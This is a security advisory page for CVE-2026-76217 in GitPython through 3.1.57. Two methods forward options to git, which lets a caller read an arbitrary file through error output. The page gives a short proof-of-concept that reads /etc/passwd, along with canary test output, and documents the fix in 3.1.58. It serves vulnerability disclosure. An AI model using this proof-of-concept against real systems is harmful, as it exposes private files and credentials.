CVE-2026-76217: GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()
Summary IndexFile.remove() and Head.checkout() forward kwargs into git rm and git checkout with no guard. Passing --pathspec-from-file= together with --pathspec-file-nul makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim.
Published Aug 7, 2026 · Updated Sep 8, 2026
Affected packages
GitPython
- Ecosystem
- PyPI
- Affected
- <= 3.1.57
- Fixed in
- 3.1.58
- Check
pip show GitPython
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout with no guard. Passing --pathspec-from-file=<file> together with `--pathspec-file-nul` makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the entire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of GHSA-3f7w-8rr8-f37f - TagReference.create() with -F, arbitrary file read returned in band - at two sites that advisory assessed and cleared.
Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found"*:
| Call site | git command | that advisory's assessment | | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same |
That assessment is very nearly right, and I think that is why it held: with --pathspec-from-file alone, Git splits on newlines and the error quotes only the first line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec.
Root cause
git/index/base.py:991-1043:
def remove(self, items, working_tree=False, **kwargs):
...
removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043git/refs/head.py:237-268:
def checkout(self, force: bool = False, **kwargs: Any):
...
self.repo.git.checkout(self, **kwargs) # line 268Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.
Proof of concept
from git import Repo
from git.exc import GitCommandError
repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)
try:
repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
print(e.stderr) # <- entire file contentsObserved on published 3.1.57, against a canary file holding three marked lines:
[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
stderr: 'fatal: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
stderr: 'error: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere.
Scope correction to the table above
Of the four sites cleared with that sentence, two disclose and two do not:
| Call site | disclosed? | | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no |
The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.
Credited to BarakSrour.
References
- https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc
- https://github.com/gitpython-developers/GitPython/pull/2204
- https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c
- https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58
- https://nvd.nist.gov/vuln/detail/CVE-2026-76217
- https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file
- https://github.com/advisories/GHSA-hh9p-6wh2-4mfc
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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